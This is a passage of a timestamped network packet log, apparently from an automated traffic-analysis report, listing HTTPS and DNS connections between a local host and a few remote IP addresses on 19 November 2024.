Nov 19, 2024 18:19:37.144233942 CET	49731	443	192.168.2.8	142.250.184.228
Nov 19, 2024 18:19:37.169275045 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:37.169302940 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:37.169373989 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:37.169411898 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:37.169456959 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:37.188565016 CET	49704	443	192.168.2.8	23.206.229.226
Nov 19, 2024 18:19:37.188703060 CET	49704	443	192.168.2.8	23.206.229.226
Nov 19, 2024 18:19:37.189203978 CET	53943	443	192.168.2.8	23.206.229.226
Nov 19, 2024 18:19:37.189259052 CET	443	53943	23.206.229.226	192.168.2.8
Nov 19, 2024 18:19:37.189336061 CET	53943	443	192.168.2.8	23.206.229.226
Nov 19, 2024 18:19:37.189647913 CET	53943	443	192.168.2.8	23.206.229.226
Nov 19, 2024 18:19:37.189663887 CET	443	53943	23.206.229.226	192.168.2.8
Nov 19, 2024 18:19:37.193604946 CET	443	49704	23.206.229.226	192.168.2.8
Nov 19, 2024 18:19:37.193654060 CET	443	49704	23.206.229.226	192.168.2.8
Nov 19, 2024 18:19:37.221643925 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:37.221669912 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:37.221725941 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:37.221762896 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:37.221787930 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:37.221811056 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:37.222501040 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:37.222522974 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:37.222567081 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:37.222574949 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:37.222609043 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:37.222619057 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:37.222681999 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:37.222698927 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:37.222734928 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:37.222743034 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:37.222767115 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:37.222774982 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:37.222883940 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:37.222898960 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:37.222943068 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:37.222949982 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:37.222986937 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:37.223329067 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:37.223349094 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:37.223376989 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:37.223383904 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:37.223419905 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:37.223431110 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:37.223783970 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:37.223802090 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:37.223829985 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:37.223835945 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:37.223861933 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:37.223875999 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:37.224297047 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:37.224318981 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:37.224353075 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:37.224359035 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:37.224385023 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:37.224399090 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:37.259848118 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:37.259880066 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:37.259926081 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:37.259962082 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:37.259985924 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:37.259995937 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:37.312524080 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:37.312607050 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:37.312642097 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:37.313098907 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:37.313116074 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:37.313148975 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:37.313158989 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:37.313186884 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:37.313493967 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:37.313510895 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:37.313539028 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:37.313545942 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:37.313569069 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:37.313848019 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:37.313863039 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:37.313899994 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:37.313906908 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:37.313920021 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:37.314063072 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:37.314080000 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:37.314114094 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:37.314121008 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:37.314131975 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:37.314394951 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:37.314412117 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:37.314431906 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:37.314439058 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:37.314466000 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:37.315022945 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:37.315038919 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:37.315071106 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:37.315078974 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:37.315103054 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:37.315566063 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:37.315582037 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:37.315613031 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:37.315623999 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:37.315644979 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:37.362951040 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:37.377563953 CET	53	53942	1.1.1.1	192.168.2.8
Nov 19, 2024 18:19:37.378151894 CET	53942	53	192.168.2.8	1.1.1.1
Nov 19, 2024 18:19:37.384515047 CET	53	53942	1.1.1.1	192.168.2.8
Nov 19, 2024 18:19:37.384577036 CET	53942	53	192.168.2.8	1.1.1.1
Nov 19, 2024 18:19:37.403131008 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:37.403143883 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:37.403212070 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:37.403247118 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:37.403264046 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:37.403284073 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:37.403759003 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:37.403790951 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:37.403815985 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:37.403825998 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:37.403853893 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:37.403872967 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:37.404074907 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:37.404097080 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:37.404124022 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:37.404129982 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:37.404154062 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:37.404175043 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:37.404612064 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:37.404634953 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:37.404671907 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:37.404679060 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:37.404705048 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:37.404721022 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:37.404745102 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:37.404762030 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:37.404793024 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:37.404803038 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:37.404820919 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:37.404844999 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:37.405116081 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:37.405131102 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:37.405172110 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:37.405179024 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:37.405205965 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:37.405215979 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:37.405798912 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:37.405817032 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:37.405854940 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:37.405863047 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:37.405886889 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:37.405905008 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:37.406148911 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:37.406164885 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:37.406202078 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:37.406208038 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:37.406233072 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:37.406243086 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:37.494023085 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:37.494052887 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:37.494126081 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:37.494160891 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:37.494180918 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:37.494246006 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:37.494262934 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:37.494270086 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:37.494285107 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:37.494304895 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:37.494329929 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:37.494360924 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:37.494585037 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:37.494602919 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:37.494641066 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:37.494648933 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:37.494663954 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:37.494975090 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:37.495002031 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:37.495011091 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:37.495017052 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:37.495031118 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:37.495058060 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:37.495249987 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:37.495270967 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:37.495306969 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:37.495320082 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:37.495337009 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:37.495383024 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:37.495403051 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:37.495784998 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:37.495806932 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:37.495855093 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:37.495860100 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:37.495898962 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:37.496243000 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:37.496258974 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:37.496298075 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:37.496304989 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:37.496316910 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:37.496341944 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:37.496820927 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:37.496835947 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:37.496872902 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:37.496884108 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:37.496907949 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:37.496923923 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:37.588947058 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:37.588975906 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:37.589024067 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:37.589031935 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:37.589060068 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:37.589077950 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:37.589080095 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:37.589087009 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:37.589112997 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:37.589119911 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:37.589133978 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:37.589155912 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:37.589303970 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:37.589319944 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:37.589363098 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:37.589371920 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:37.589421988 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:37.589440107 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:37.589464903 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:37.589476109 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:37.589500904 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:37.589510918 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:37.589668989 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:37.589685917 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:37.589720964 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:37.589729071 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:37.589741945 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:37.589761019 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:37.589864969 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:37.589880943 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:37.589910984 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:37.589916945 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:37.589947939 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:37.589962006 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:37.590220928 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:37.590238094 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:37.590270996 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:37.590276957 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:37.590292931 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:37.590316057 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:37.590569973 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:37.590590954 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:37.590620995 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:37.590631008 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:37.590650082 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:37.591070890 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:37.623303890 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:37.623377085 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:37.623399973 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:37.675486088 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:37.689429998 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:37.689466953 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:37.689511061 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:37.689549923 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:37.689573050 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:37.689640045 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:37.689815998 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:37.689837933 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:37.689865112 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:37.689874887 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:37.689920902 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:37.689920902 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:37.690208912 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:37.690227985 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:37.690267086 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:37.690278053 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:37.690299988 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:37.690329075 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:37.690876007 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:37.690902948 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:37.690964937 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:37.690967083 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:37.690967083 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:37.690979004 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:37.691000938 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:37.691009045 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:37.691037893 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:37.691045046 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:37.691096067 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:37.691168070 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:37.691190004 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:37.691212893 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:37.691220045 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:37.691241980 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:37.691255093 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:37.691524029 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:37.691553116 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:37.691576004 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:37.691582918 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:37.691606045 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:37.691622019 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:37.721272945 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:37.721302986 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:37.721350908 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:37.721385002 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:37.721406937 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:37.721684933 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:37.780184984 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:37.780213118 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:37.780277014 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:37.780312061 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:37.780360937 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:37.780364037 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:37.780375004 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:37.780397892 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:37.780422926 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:37.780431032 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:37.780464888 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:37.780642033 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:37.780657053 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:37.780755043 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:37.780764103 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:37.780858040 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:37.781021118 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:37.781038046 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:37.781100035 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:37.781105995 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:37.781377077 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:37.781398058 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:37.781409025 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:37.781415939 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:37.781459093 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:37.781544924 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:37.781563997 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:37.781666994 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:37.781673908 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:37.781763077 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:37.781960011 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:37.781981945 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:37.782054901 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:37.782061100 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:37.782257080 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:37.805888891 CET	443	53943	23.206.229.226	192.168.2.8
Nov 19, 2024 18:19:37.805974007 CET	53943	443	192.168.2.8	23.206.229.226
Nov 19, 2024 18:19:37.812047958 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:37.812079906 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:37.812129974 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:37.812165022 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:37.812190056 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:37.812213898 CET	49730	443	192.168.2.8	188.114.96.3
